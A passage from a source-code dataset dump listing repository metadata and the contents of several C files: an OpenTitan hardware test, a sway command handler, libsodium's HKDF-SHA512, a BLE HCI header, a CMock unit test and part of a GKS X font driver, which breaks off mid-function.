blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 4
721
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
57
| license_type
stringclasses 2
values | repo_name
stringlengths 5
91
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 321
values | visit_date
timestamp[ns]date 2016-08-12 09:31:09
2023-09-06 10:45:07
| revision_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| committer_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| github_id
int64 426
681M
| star_events_count
int64 101
243k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[ns]date 2012-06-28 18:51:49
2023-09-14 21:59:16
⌀ | gha_created_at
timestamp[ns]date 2008-02-11 22:55:26
2023-08-10 11:14:58
⌀ | gha_language
stringclasses 147
values | src_encoding
stringclasses 26
values | language
stringclasses 2
values | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 6
10.2M
| extension
stringclasses 115
values | filename
stringlengths 3
113
| content
stringlengths 6
10.2M
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
14ea62aac5cc5243ba59af28f793ed064ffe858d
|
39568e19301a7a112398be542154950af25591de
|
/sw/device/tests/sensor_ctrl_wakeup.c
|
f6290c037904bef88fbe0fd6d02ddc2e1c4acaa4
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
lowRISC/opentitan
|
493995bc7cf7cb3aee486a5203af3fd62bba3bfc
|
51f6017b8425b14d5a4aa9abace8fe5a25ef08c8
|
refs/heads/master
| 2023-08-31T22:05:09.425796
| 2023-08-14T14:52:15
| 2023-08-31T20:31:13
| 204,516,692
| 2,077
| 634
|
Apache-2.0
| 2023-09-14T21:16:21
| 2019-08-26T16:30:16
|
SystemVerilog
|
UTF-8
|
C
| false
| false
| 4,637
|
c
|
sensor_ctrl_wakeup.c
|
// Copyright lowRISC contributors.
// Licensed under the Apache License, Version 2.0, see LICENSE for details.
// SPDX-License-Identifier: Apache-2.0
#include "sw/device/lib/base/mmio.h"
#include "sw/device/lib/dif/dif_pwrmgr.h"
#include "sw/device/lib/dif/dif_rv_plic.h"
#include "sw/device/lib/dif/dif_sensor_ctrl.h"
#include "sw/device/lib/runtime/ibex.h"
#include "sw/device/lib/runtime/irq.h"
#include "sw/device/lib/runtime/log.h"
#include "sw/device/lib/testing/pwrmgr_testutils.h"
#include "sw/device/lib/testing/rv_plic_testutils.h"
#include "sw/device/lib/testing/test_framework/check.h"
#include "sw/device/lib/testing/test_framework/ottf_main.h"
#include "hw/top_earlgrey/sw/autogen/top_earlgrey.h"
#include "sensor_ctrl_regs.h" // Generated.
#include "sw/device/lib/testing/autogen/isr_testutils.h"
OTTF_DEFINE_TEST_CONFIG();
static dif_pwrmgr_t pwrmgr;
static dif_rv_plic_t plic;
static plic_isr_ctx_t plic_ctx = {.rv_plic = &plic,
.hart_id = kTopEarlgreyPlicTargetIbex0};
static pwrmgr_isr_ctx_t pwrmgr_isr_ctx = {
.pwrmgr = &pwrmgr,
.plic_pwrmgr_start_irq_id = kTopEarlgreyPlicIrqIdPwrmgrAonWakeup,
.expected_irq = kDifPwrmgrIrqWakeup,
.is_only_irq = true};
static bool get_wakeup_status(void) {
dif_pwrmgr_request_sources_t wake_req = ~0u;
CHECK_DIF_OK(dif_pwrmgr_get_current_request_sources(
&pwrmgr, kDifPwrmgrReqTypeWakeup, &wake_req));
return (wake_req > 0);
}
/**
* External interrupt handler.
*/
void ottf_external_isr(void) {
dif_pwrmgr_irq_t irq_id;
top_earlgrey_plic_peripheral_t peripheral;
isr_testutils_pwrmgr_isr(plic_ctx, pwrmgr_isr_ctx, &peripheral, &irq_id);
// Check that both the peripheral and the irq id is correct
CHECK(peripheral == kTopEarlgreyPlicPeripheralPwrmgrAon,
"IRQ peripheral: %d is incorrect", peripheral);
CHECK(irq_id == kDifPwrmgrIrqWakeup, "IRQ ID: %d is incorrect", irq_id);
}
bool test_main(void) {
dif_sensor_ctrl_t sensor_ctrl;
// Enable global and external IRQ at Ibex.
irq_global_ctrl(true);
irq_external_ctrl(true);
// Initialize the PLIC.
mmio_region_t plic_base_addr =
mmio_region_from_addr(TOP_EARLGREY_RV_PLIC_BASE_ADDR);
CHECK_DIF_OK(dif_rv_plic_init(plic_base_addr, &plic));
// Initialize pwrmgr
CHECK_DIF_OK(dif_pwrmgr_init(
mmio_region_from_addr(TOP_EARLGREY_PWRMGR_AON_BASE_ADDR), &pwrmgr));
// Initialize sensor_ctrl
CHECK_DIF_OK(dif_sensor_ctrl_init(
mmio_region_from_addr(TOP_EARLGREY_SENSOR_CTRL_AON_BASE_ADDR),
&sensor_ctrl));
// Enable all the AON interrupts used in this test.
rv_plic_testutils_irq_range_enable(&plic, kTopEarlgreyPlicTargetIbex0,
kTopEarlgreyPlicIrqIdPwrmgrAonWakeup,
kTopEarlgreyPlicIrqIdPwrmgrAonWakeup);
// Enable pwrmgr interrupt
CHECK_DIF_OK(dif_pwrmgr_irq_set_enabled(&pwrmgr, 0, kDifToggleEnabled));
// Capture the number of events to test
uint32_t sensor_ctrl_events = SENSOR_CTRL_PARAM_NUM_ALERT_EVENTS;
dif_pwrmgr_domain_config_t sleep_config =
kDifPwrmgrDomainOptionMainPowerInLowPower;
for (size_t i = 0; i < sensor_ctrl_events; ++i) {
LOG_INFO("Testing sensor_ctrl event %d", i);
// Setup event trigger
CHECK_DIF_OK(dif_sensor_ctrl_set_ast_event_trigger(&sensor_ctrl, i,
kDifToggleEnabled));
// Normal sleep.
CHECK_STATUS_OK(pwrmgr_testutils_enable_low_power(
&pwrmgr, kDifPwrmgrWakeupRequestSourceSix, sleep_config));
// Enter low power mode.
LOG_INFO("Issue WFI to enter sleep");
wait_for_interrupt();
// Wakeup from sleep.
LOG_INFO("Wake from sleep");
dif_sensor_ctrl_events_t events;
CHECK_DIF_OK(dif_sensor_ctrl_get_recov_events(&sensor_ctrl, &events));
if (events != (1 << i)) {
LOG_ERROR("Recoverable event 0x%x does not match expectation %d", events,
i);
}
// clear event trigger
CHECK_DIF_OK(dif_sensor_ctrl_set_ast_event_trigger(&sensor_ctrl, i,
kDifToggleDisabled));
// since there is synchronization delay to trigger clearing and actual event
// de-assertion, clear and poll until it is finished before moving on
while (events) {
CHECK_DIF_OK(dif_sensor_ctrl_clear_recov_event(&sensor_ctrl, i));
CHECK_DIF_OK(dif_sensor_ctrl_get_recov_events(&sensor_ctrl, &events));
}
// ensure the de-asserted events have cleared from the wakeup pipeline
// within 30us
IBEX_SPIN_FOR(!get_wakeup_status(), 30);
}
return true;
}
|
a622e1e5ff4f12227fe0e2b6fd55e8108194d4d1
|
e5aa0f7de0dcbc86408348c51e6bf0edb8e833e9
|
/sway/commands/mouse_warping.c
|
8b643f625dda0547538c0397692986dcab592848
|
[
"MIT"
] |
permissive
|
swaywm/sway
|
8400f4fa5eebaccfceb9196b2692b80ae27eef3c
|
89f85312687b7fd1777c936e169e6400cee0a4b4
|
refs/heads/master
| 2023-09-06T01:57:38.706040
| 2023-08-30T14:57:25
| 2023-08-30T14:57:25
| 40,217,904
| 11,469
| 1,362
|
MIT
| 2023-09-14T11:37:52
| 2015-08-05T01:31:45
|
C
|
UTF-8
|
C
| false
| false
| 675
|
c
|
mouse_warping.c
|
#include <string.h>
#include <strings.h>
#include "sway/commands.h"
struct cmd_results *cmd_mouse_warping(int argc, char **argv) {
struct cmd_results *error = NULL;
if ((error = checkarg(argc, "mouse_warping", EXPECTED_EQUAL_TO, 1))) {
return error;
} else if (strcasecmp(argv[0], "container") == 0) {
config->mouse_warping = WARP_CONTAINER;
} else if (strcasecmp(argv[0], "output") == 0) {
config->mouse_warping = WARP_OUTPUT;
} else if (strcasecmp(argv[0], "none") == 0) {
config->mouse_warping = WARP_NO;
} else {
return cmd_results_new(CMD_FAILURE,
"Expected 'mouse_warping output|container|none'");
}
return cmd_results_new(CMD_SUCCESS, NULL);
}
|
8a4be10e95736a26c5be4b2719d7f66f5fb231fc
|
91aee99745750204ddba60d07f323316c7cde91b
|
/src/libsodium/crypto_kdf/hkdf/kdf_hkdf_sha512.c
|
51d916197e2f898b84fa5fbaf7f04b27b1511daa
|
[
"ISC"
] |
permissive
|
jedisct1/libsodium
|
7dfb8c418b1bd8f7d0539be3386e07e3599fc48f
|
0ea62015f2c397168566c7f8c6df65e59a0d1049
|
refs/heads/master
| 2023-09-01T10:53:16.647374
| 2023-08-31T21:23:30
| 2023-08-31T21:23:30
| 7,710,647
| 10,795
| 1,968
|
NOASSERTION
| 2023-09-14T16:00:28
| 2013-01-20T00:03:40
|
C
|
UTF-8
|
C
| false
| false
| 3,819
|
c
|
kdf_hkdf_sha512.c
|
#include <errno.h>
#include <string.h>
#include "crypto_auth_hmacsha512.h"
#include "crypto_kdf.h"
#include "crypto_kdf_hkdf_sha512.h"
#include "randombytes.h"
#include "utils.h"
int
crypto_kdf_hkdf_sha512_extract_init(crypto_kdf_hkdf_sha512_state *state,
const unsigned char *salt, size_t salt_len)
{
return crypto_auth_hmacsha512_init(&state->st, salt, salt_len);
}
int
crypto_kdf_hkdf_sha512_extract_update(crypto_kdf_hkdf_sha512_state *state,
const unsigned char *ikm, size_t ikm_len)
{
return crypto_auth_hmacsha512_update(&state->st, ikm, ikm_len);
}
int
crypto_kdf_hkdf_sha512_extract_final(crypto_kdf_hkdf_sha512_state *state,
unsigned char prk[crypto_kdf_hkdf_sha512_KEYBYTES])
{
crypto_auth_hmacsha512_final(&state->st, prk);
sodium_memzero(state, sizeof state);
return 0;
}
int
crypto_kdf_hkdf_sha512_extract(
unsigned char prk[crypto_kdf_hkdf_sha512_KEYBYTES],
const unsigned char *salt, size_t salt_len, const unsigned char *ikm,
size_t ikm_len)
{
crypto_kdf_hkdf_sha512_state state;
crypto_kdf_hkdf_sha512_extract_init(&state, salt, salt_len);
crypto_kdf_hkdf_sha512_extract_update(&state, ikm, ikm_len);
return crypto_kdf_hkdf_sha512_extract_final(&state, prk);
}
void
crypto_kdf_hkdf_sha512_keygen(unsigned char prk[crypto_kdf_hkdf_sha512_KEYBYTES])
{
randombytes_buf(prk, crypto_kdf_hkdf_sha512_KEYBYTES);
}
int
crypto_kdf_hkdf_sha512_expand(unsigned char *out, size_t out_len,
const char *ctx, size_t ctx_len,
const unsigned char prk[crypto_kdf_hkdf_sha512_KEYBYTES])
{
crypto_auth_hmacsha512_state st;
unsigned char tmp[crypto_auth_hmacsha512_BYTES];
size_t i;
size_t left;
unsigned char counter = 1U;
if (out_len > crypto_kdf_hkdf_sha512_BYTES_MAX) {
errno = EINVAL;
return -1;
}
for (i = (size_t) 0U; i + crypto_auth_hmacsha512_BYTES <= out_len;
i += crypto_auth_hmacsha512_BYTES) {
crypto_auth_hmacsha512_init(&st, prk, crypto_kdf_hkdf_sha512_KEYBYTES);
if (i != (size_t) 0U) {
crypto_auth_hmacsha512_update(&st,
&out[i - crypto_auth_hmacsha512_BYTES],
crypto_auth_hmacsha512_BYTES);
}
crypto_auth_hmacsha512_update(&st,
(const unsigned char *) ctx, ctx_len);
crypto_auth_hmacsha512_update(&st, &counter, (size_t) 1U);
crypto_auth_hmacsha512_final(&st, &out[i]);
counter++;
}
if ((left = out_len & (crypto_auth_hmacsha512_BYTES - 1U)) != (size_t) 0U) {
crypto_auth_hmacsha512_init(&st, prk, crypto_kdf_hkdf_sha512_KEYBYTES);
if (i != (size_t) 0U) {
crypto_auth_hmacsha512_update(&st,
&out[i - crypto_auth_hmacsha512_BYTES],
crypto_auth_hmacsha512_BYTES);
}
crypto_auth_hmacsha512_update(&st,
(const unsigned char *) ctx, ctx_len);
crypto_auth_hmacsha512_update(&st, &counter, (size_t) 1U);
crypto_auth_hmacsha512_final(&st, tmp);
memcpy(&out[i], tmp, left);
sodium_memzero(tmp, sizeof tmp);
}
sodium_memzero(&st, sizeof st);
return 0;
}
size_t
crypto_kdf_hkdf_sha512_keybytes(void)
{
return crypto_kdf_hkdf_sha512_KEYBYTES;
}
size_t
crypto_kdf_hkdf_sha512_bytes_min(void)
{
return crypto_kdf_hkdf_sha512_BYTES_MIN;
}
size_t
crypto_kdf_hkdf_sha512_bytes_max(void)
{
return crypto_kdf_hkdf_sha512_BYTES_MAX;
}
|
2899563e153898ea5a9b9b4a14bb254cf5c26a02
|
984bc4181baec6e5a4b05a657e666b0e9f89f3f3
|
/include/TCookieJar
|
86af99fd316c2737af0265e0f70052a5beafc092
|
[
"BSD-3-Clause"
] |
permissive
|
treefrogframework/treefrog-framework
|
0173245ff92162d2107af79861505981980d1eca
|
a1df97793e8cc628779378e5adae9af6987460c1
|
refs/heads/master
| 2023-08-22T03:57:58.891846
| 2023-05-18T14:00:42
| 2023-05-18T14:00:42
| 7,067,532
| 1,152
| 263
|
BSD-3-Clause
| 2023-08-08T20:25:03
| 2012-12-08T13:17:01
|
C++
|
UTF-8
|
C
| false
| false
| 24
|
TCookieJar
|
#include "tcookiejar.h"
|
|
96389f0d2df7ea3b0c5d0817b69cc206f9d41d91
|
55540f3e86f1d5d86ef6b5d295a63518e274efe3
|
/components/network/ble/blestack/src/host/hci_core.h
|
dea43b6b4a5bf042d19a5d27e7d58cbccf58243a
|
[
"Apache-2.0"
] |
permissive
|
bouffalolab/bl_iot_sdk
|
bc5eaf036b70f8c65dd389439062b169f8d09daa
|
b90664de0bd4c1897a9f1f5d9e360a9631d38b34
|
refs/heads/master
| 2023-08-31T03:38:03.369853
| 2023-08-16T08:50:33
| 2023-08-18T09:13:27
| 307,347,250
| 244
| 101
|
Apache-2.0
| 2023-08-28T06:29:02
| 2020-10-26T11:16:30
|
C
|
UTF-8
|
C
| false
| false
| 8,418
|
h
|
hci_core.h
|
/* hci_core.h - Bluetooth HCI core access */
/*
* Copyright (c) 2015-2016 Intel Corporation
*
* SPDX-License-Identifier: Apache-2.0
*/
/* LL connection parameters */
#define LE_CONN_LATENCY 0x0000
#define LE_CONN_TIMEOUT 0x002a
#if defined(CONFIG_BT_BREDR)
#define LMP_FEAT_PAGES_COUNT 3
#else
#define LMP_FEAT_PAGES_COUNT 1
#endif
/* SCO settings */
#define BT_VOICE_CVSD_16BIT 0x0060
#define BT_VOICE_MSBC_16BIT 0x0063
#if (BFLB_BT_CO_THREAD)
enum{
BT_CMD_SYNC_NONE =0,
BT_CMD_SYNC_TX = 1,
BT_CMD_SYNC_TX_DONE = 2
};
#endif
/* k_poll event tags */
enum {
BT_EVENT_CMD_TX,
BT_EVENT_CONN_TX_QUEUE,
#if (BFLB_BT_CO_THREAD)
BT_EVENT_RX_QUEUE,
BT_EVENT_WORK_QUEUE,
#endif
};
/* bt_dev flags: the flags defined here represent BT controller state */
enum {
BT_DEV_ENABLE,
BT_DEV_READY,
BT_DEV_PRESET_ID,
BT_DEV_USER_ID_ADDR,
BT_DEV_HAS_PUB_KEY,
BT_DEV_PUB_KEY_BUSY,
BT_DEV_ADVERTISING,
BT_DEV_ADVERTISING_NAME,
BT_DEV_ADVERTISING_CONNECTABLE,
BT_DEV_KEEP_ADVERTISING,
BT_DEV_SCANNING,
BT_DEV_EXPLICIT_SCAN,
BT_DEV_ACTIVE_SCAN,
BT_DEV_SCAN_FILTER_DUP,
BT_DEV_SCAN_WL,
BT_DEV_AUTO_CONN,
BT_DEV_RPA_VALID,
BT_DEV_ID_PENDING,
#if defined(CONFIG_BT_BREDR)
BT_DEV_ISCAN,
BT_DEV_PSCAN,
BT_DEV_INQUIRY,
#endif /* CONFIG_BT_BREDR */
#if defined(CONFIG_BT_STACK_PTS)
BT_DEV_ADV_ADDRESS_IS_PUBLIC,
#endif
#if defined(CONFIG_AUTO_PTS)
BT_DEV_SETTED_NON_RESOLV_ADDR, //The non-reslovable address have been set.
#endif
#if defined(BFLB_HOST_ASSISTANT)
BT_DEV_ASSIST_RUN,
#endif
/* Total number of flags - must be at the end of the enum */
BT_DEV_NUM_FLAGS,
};
/* Flags which should not be cleared upon HCI_Reset */
#define BT_DEV_PERSISTENT_FLAGS (BIT(BT_DEV_ENABLE) | \
BIT(BT_DEV_PRESET_ID) | \
BIT(BT_DEV_USER_ID_ADDR))
struct bt_dev_le {
/* LE features */
u8_t features[8];
/* LE states */
u64_t states;
#if defined(CONFIG_BT_CONN)
/* Controller buffer information */
u16_t mtu;
struct k_sem pkts;
#endif /* CONFIG_BT_CONN */
#if defined(CONFIG_BT_SMP)
/* Size of the the controller resolving list */
u8_t rl_size;
/* Number of entries in the resolving list. rl_entries > rl_size
* means that host-side resolving is used.
*/
u8_t rl_entries;
#endif /* CONFIG_BT_SMP */
#if defined(CONFIG_BT_WHITELIST)
/* Size of the controller whitelist. */
u8_t wl_size;
/* Number of entries in the resolving list. */
u8_t wl_entries;
#endif /* CONFIG_BT_WHITELIST */
};
#if defined(CONFIG_BT_BREDR)
struct bt_dev_br {
/* Max controller's acceptable ACL packet length */
u16_t mtu;
struct k_sem pkts;
u16_t esco_pkt_type;
};
#endif
/* The theoretical max for these is 8 and 64, but there's no point
* in allocating the full memory if we only support a small subset.
* These values must be updated whenever the host implementation is
* extended beyond the current values.
*/
#define BT_DEV_VS_FEAT_MAX 1
#define BT_DEV_VS_CMDS_MAX 2
/* State tracking for the local Bluetooth controller */
struct bt_dev {
/* Local Identity Address(es) */
bt_addr_le_t id_addr[CONFIG_BT_ID_MAX];
u8_t id_count;
/* ID Address used for advertising */
u8_t adv_id;
/* Current local Random Address */
bt_addr_le_t random_addr;
/* Controller version & manufacturer information */
u8_t hci_version;
u8_t lmp_version;
u16_t hci_revision;
u16_t lmp_subversion;
u16_t manufacturer;
/* LMP features (pages 0, 1, 2) */
u8_t features[LMP_FEAT_PAGES_COUNT][8];
/* Supported commands */
u8_t supported_commands[64];
#if defined(CONFIG_BT_HCI_VS_EXT)
/* Vendor HCI support */
u8_t vs_features[BT_DEV_VS_FEAT_MAX];
u8_t vs_commands[BT_DEV_VS_CMDS_MAX];
#endif
struct k_work init;
ATOMIC_DEFINE(flags, BT_DEV_NUM_FLAGS);
/* LE controller specific features */
struct bt_dev_le le;
#if defined(CONFIG_BT_BREDR)
/* BR/EDR controller specific features */
struct bt_dev_br br;
#endif
/* Number of commands controller can accept */
struct k_sem ncmd_sem;
/* Last sent HCI command */
struct net_buf *sent_cmd;
#if !defined(CONFIG_BT_RECV_IS_RX_THREAD)
/* Queue for incoming HCI events & ACL data */
struct k_fifo rx_queue;
#endif
/* Queue for outgoing HCI commands */
struct k_fifo cmd_tx_queue;
/* Registered HCI driver */
const struct bt_hci_driver *drv;
#if defined(CONFIG_BT_PRIVACY)
/* Local Identity Resolving Key */
u8_t irk[CONFIG_BT_ID_MAX][16];
/* Work used for RPA rotation */
struct k_delayed_work rpa_update;
#endif
/* Local Name */
#if defined(CONFIG_BT_DEVICE_NAME_DYNAMIC)
char name[CONFIG_BT_DEVICE_NAME_MAX + 1];
#endif
};
#if defined (CONFIG_BT_STACK_PTS)
typedef enum __packed{
dir_connect_req = 0x01, /*Send a direct connection require while the Lower test enters direct mode .*/
ad_type_service_uuid = 0x02,
ad_type_local_name = 0x03,
ad_type_flags = 0x04,
ad_type_manu_data = 0x05,
ad_type_tx_power_level = 0x06,
ad_type_service_data = 0x07,
ad_type_appearance = 0x08,
gatt_discover_chara = 0x09,
gatt_exec_write_req = 0x0a,
gatt_cancel_write_req = 0x0b,
att_read_by_group_type_ind = 0x0c, /* CASE : GATT/SR/GAD/BV-01-C. Indicate PTS sends a GATT discover all primary services request to iut */
att_find_by_type_value_ind = 0x0d, /* CASE : GATT/SR/GAD/BV-02-C. Indicate PTS sends a request to iut for discover it contains Primary Services by Service UUID */
att_read_by_type_ind = 0x0e, /* CASE : GATT/SR/GAD/BV-04-C. Indicate PTS sends a request to iut for discover all characteristics of a specified service.*/
own_addr_type_random = 0x0f
}event_id;
#endif
extern struct bt_dev bt_dev;
#if defined(CONFIG_BT_SMP) || defined(CONFIG_BT_BREDR)
extern const struct bt_conn_auth_cb *bt_auth;
#endif /* CONFIG_BT_SMP || CONFIG_BT_BREDR */
bool bt_le_conn_params_valid(const struct bt_le_conn_param *param);
int bt_le_scan_update(bool fast_scan);
int bt_le_auto_conn(const struct bt_le_conn_param *conn_param);
int bt_le_auto_conn_cancel(void);
bool bt_addr_le_is_bonded(u8_t id, const bt_addr_le_t *addr);
const bt_addr_le_t *bt_lookup_id_addr(u8_t id, const bt_addr_le_t *addr);
int bt_send(struct net_buf *buf);
/* Don't require everyone to include keys.h */
struct bt_keys;
void bt_id_add(struct bt_keys *keys);
void bt_id_del(struct bt_keys *keys);
int bt_setup_id_addr(void);
void bt_finalize_init(void);
int bt_le_adv_start_internal(const struct bt_le_adv_param *param,
const struct bt_data *ad, size_t ad_len,
const struct bt_data *sd, size_t sd_len,
const bt_addr_le_t *peer);
#if defined(CONFIG_BLE_MULTI_ADV)
int bt_le_adv_start_instant(const struct bt_le_adv_param *param,
const uint8_t *ad_data, size_t ad_len,
const uint8_t *sd_data, size_t sd_len);
#endif
#if defined (BFLB_BLE)
int bt_le_read_rssi(u16_t handle,int8_t *rssi);
int set_ad_and_rsp_d(u16_t hci_op, u8_t *data, u32_t ad_len);
int set_adv_enable(bool enable);
int set_adv_param(const struct bt_le_adv_param *param);
int set_adv_channel_map(u8_t channel);
int bt_get_local_public_address(bt_addr_le_t *adv_addr);
int bt_get_local_ramdon_address(bt_addr_le_t *adv_addr);
int bt_le_set_data_len(struct bt_conn *conn, u16_t tx_octets, u16_t tx_time);
int hci_le_set_phy(struct bt_conn *conn, uint8_t all_phys,
uint8_t pref_tx_phy, uint8_t pref_rx_phy, uint8_t phy_opts);
int hci_le_set_default_phy(u8_t default_phy);
/* Notice: Use of this API will lead to mismatch between chip mac address
and address set by this API.
In some condition, BD address may be reset to chip mac address.*/
int bt_set_bd_addr(const bt_addr_t *addr);
#if defined(CONFIG_SET_TX_PWR)
int bt_set_tx_pwr(int8_t power);
#endif
#if defined(BFLB_HOST_ASSISTANT)
struct blhast_cb{
void (*le_scan_cb)(const struct bt_le_scan_param *param, bt_le_scan_cb_t cb);
void (*le_adv_cb)(const struct bt_le_adv_param *param, const struct bt_data *ad,
size_t ad_len, const struct bt_data *sd, size_t sd_len);
};
int bt_set_flow_control(void);
int bt_set_event_mask(void);
int bt_le_set_event_mask(void);
void bt_hci_reset_complete(struct net_buf *buf);
void bt_register_host_assist_cb(struct blhast_cb *cb);
#endif
typedef void (*bredr_name_callback)(const char *name);
int remote_name_req(const bt_addr_t *addr, bredr_name_callback cb);
#endif
|
fc54434b54142b6f728766f506ae8d02bc7e72d6
|
78b2b87d57c4db64463cdeba1f939e6b61a4a258
|
/examples/temp_sensor/test/TestTimerConfigurator.c
|
5c7d4e044e00430b4c3d276819a0ec9297dd4d63
|
[
"MIT"
] |
permissive
|
ThrowTheSwitch/CMock
|
0325f80713e897ae8b6e5dd8e402083e6ca343c8
|
c548629a478ef07f89db8b86c1dd4041a1cf4053
|
refs/heads/master
| 2023-09-03T15:10:22.935594
| 2023-08-23T12:32:14
| 2023-08-23T12:32:14
| 3,276,848
| 589
| 312
|
MIT
| 2023-08-10T10:46:19
| 2012-01-26T19:51:32
|
C
|
UTF-8
|
C
| false
| false
| 2,911
|
c
|
TestTimerConfigurator.c
|
#include "unity.h"
#include "Types.h"
#include "TimerConfigurator.h"
#include "AT91SAM7X256.h"
#include "MockTimerInterruptConfigurator.h"
AT91S_PMC PmcPeripheral;
AT91S_TC TimerCounter0Peripheral;
AT91S_PIO PioBPeripheral;
void setUp(void)
{
}
void tearDown(void)
{
}
void testEnablePeripheralClocksShouldEnableClockToTimer0Peripheral(void)
{
AT91C_BASE_PMC->PMC_PCER = 0;
Timer_EnablePeripheralClocks();
TEST_ASSERT_EQUAL(
TIMER0_CLOCK_ENABLE,
AT91C_BASE_PMC->PMC_PCER & TIMER0_CLOCK_ENABLE);
}
void testEnablePeripheralClocksShouldEnableClockToPIOBPeripheral(void)
{
AT91C_BASE_PMC->PMC_PCER = 0;
Timer_EnablePeripheralClocks();
TEST_ASSERT_EQUAL(
PIOB_CLOCK_ENABLE,
AT91C_BASE_PMC->PMC_PCER & PIOB_CLOCK_ENABLE);
}
void testResetShouldSetTimer0ClockDisableBit_DisableTimer0Interrupts_ClearStatusRegister(void)
{
AT91C_BASE_TC0->TC_CCR = 0;
AT91C_BASE_TC0->TC_IDR = 0;
AT91C_BASE_TC0->TC_SR = 0xFFFFFFFF;
Timer_Reset();
TEST_ASSERT_EQUAL(0x00000002, AT91C_BASE_TC0->TC_CCR);
TEST_ASSERT_EQUAL(0xffffffff, AT91C_BASE_TC0->TC_IDR);
// CANNOT BE VERIFIED!! TEST_ASSERT_EQUAL(0X00000000, AT91C_BASE_TC0->TC_SR);
}
void testEnableOutputPinShouldEnable_TIOA0_DigitalOutput(void)
{
AT91C_BASE_PIOB->PIO_PDR = 0;
Timer_EnableOutputPin();
TEST_ASSERT_EQUAL(TIOA0_PIN_MASK, AT91C_BASE_PIOB->PIO_PDR);
}
void testConfigureModeShouldConfigureTimer0ClockSourceForMasterClockDividedBy1024(void)
{
AT91C_BASE_TC0->TC_CMR = 0;
Timer_ConfigureMode();
TEST_ASSERT_EQUAL(0x00000004, AT91C_BASE_TC0->TC_CMR & 0x00000007);
}
void testConfigureModeShouldConfigureTimer0ForWaveGeneration(void)
{
AT91C_BASE_TC0->TC_CMR = 0;
Timer_ConfigureMode();
TEST_ASSERT_EQUAL(0x00008000, AT91C_BASE_TC0->TC_CMR & 0x00008000);
}
void testConfigureModeShouldConfigureTimer0ForUpModeWithAutomaticTriggerOnRCCompare(void)
{
AT91C_BASE_TC0->TC_CMR = 0;
Timer_ConfigureMode();
TEST_ASSERT_EQUAL(0x00004000, AT91C_BASE_TC0->TC_CMR & 0x00006000);
}
void testConfigureModeShouldConfigureTimer0ToToggleTIOAOnRCCompare(void)
{
AT91C_BASE_TC0->TC_CMR = 0;
Timer_ConfigureMode();
TEST_ASSERT_EQUAL(0x000C0000, AT91C_BASE_TC0->TC_CMR & 0x000C0000);
}
void testConfigurePeriodShouldConfigureRegisterCFor10msInterval(void)
{
AT91C_BASE_TC0->TC_RC = 0;
Timer_ConfigurePeriod();
TEST_ASSERT_EQUAL(469, AT91C_BASE_TC0->TC_RC);
}
void testEnableShouldSetEnableFlagForTimer0(void)
{
AT91C_BASE_TC0->TC_CCR = 0;
Timer_Enable();
TEST_ASSERT_EQUAL_INT(1, AT91C_BASE_TC0->TC_CCR);
}
void testConfigureInterruptHandler(void)
{
Timer_DisableInterrupt_Expect();
Timer_ResetSystemTime_Expect();
Timer_ConfigureInterrupt_Expect();
Timer_EnableInterrupt_Expect();
Timer_ConfigureInterruptHandler();
}
void testStartShouldSetSoftwareTriggerFlag(void)
{
AT91C_BASE_TC0->TC_CCR = 0;
Timer_Start();
TEST_ASSERT_EQUAL(0x04, AT91C_BASE_TC0->TC_CCR);
}
|
c2eb63eb065ac8be0172cb71f3ceeebbdeff1d79
|
8b98cd47f934d2a4a8d0b2842d3277b01f3fb7fa
|
/libraries/gks/drivers/X/ww/dd/com/gk0xxfont.c
|
d3736b1da4851094eda1dc6de3aace2d85af4397
|
[] |
no_license
|
Starlink/starlink
|
1cc03b85eb78330a3622003b26b69c1733df50fe
|
2c374b3e97c9cebcc8f3bd2f8b4bb326eefe061a
|
refs/heads/master
| 2023-07-26T09:32:27.987319
| 2023-07-05T23:56:27
| 2023-07-05T23:56:27
| 5,169,323
| 139
| 45
| null | 2022-11-18T13:29:32
| 2012-07-24T18:15:25
|
Fortran
|
UTF-8
|
C
| false
| false
| 8,263
|
c
|
gk0xxfont.c
|
/* copyright (c) Mark M Martin. RAL. 1986 */
#include "dd.h"
#include "font.h"
/*
* dynamically design text cursor for given height and width of font.
*/
#define STUB(x,y,tox,toy) gk0xbmbox(gk0xboxbuild(x,y,tox,toy),BMNOTALL)
PUBLIC cursor *gk0xftcursor(width,height)int width,height;{
int h,stublen,w;
bitmap *save;
cursor *cu;
save = ddbm;
if(width>MAXDIMCURSOR)width = MAXDIMCURSOR;
else if(width<6)width = 6;
height += 6;
if(height>MAXDIMCURSOR)height = MAXDIMCURSOR;
else if(height<10)height = 10;
cu = STRUCTMALLOC(cursor);
cu->c_bm = ddbm = gk0xbmget(width,height);
h = (height+1)/2;
w = (width+1)/2;
stublen = (height+9)/10;
STUB(0, 0, width-1, 1);
STUB(0, height-2, width-1, height-1); /* two horiz bars */
STUB(w-1, 2, w, 1+stublen);
STUB(w-1,height-2-stublen, w, height-3); /* two vert bars */
cu->c_xhot = w;
cu->c_yhot = h;
cu->c_xoffset = 0;
cu->c_yoffset = 0;
cu->c_rop = WWXOR;
ddbm = save;
return(cu);
}
#ifdef FORTINTER
FORTINTER int wftcsr_(width,height)int *width,*height;{
return(int)ftcursor(*width,*height);
}
#endif FORTINTER
PRIVATE void gk0xOverstrike();
/*
* If flags contradict use centre instead of right just or bottom just.
* Default is top left justification.
* The box is NOT INCLUSIVE. The chars must fit inside the box.
*/
PUBLIC void gk0xftprint(b,str,flags) box b; char *str; int flags;{
box text;
int len,nx,ny,lines;
if(flags & ~(FTCENTRE|FTOVER|FTNOT|FTWIN|FTRIGHT|FTBOTTOM|FTPROP|FTCONTROL))
wwfail("unknown flag to ftprint",);
if(str==NULLPTR(char))len = 0;
else len = strlen(str);
if(flags&FTWIN){
gk0xbmstack(WWPUSH);
ddbm = ddwin->w_bm;
}
nx = (b.b_right-b.b_left-1)/ddfont->f_width; /* chars we can get across box width */
lines = (nx==0)?0:(len+nx-1)/nx; /* lines we need then */
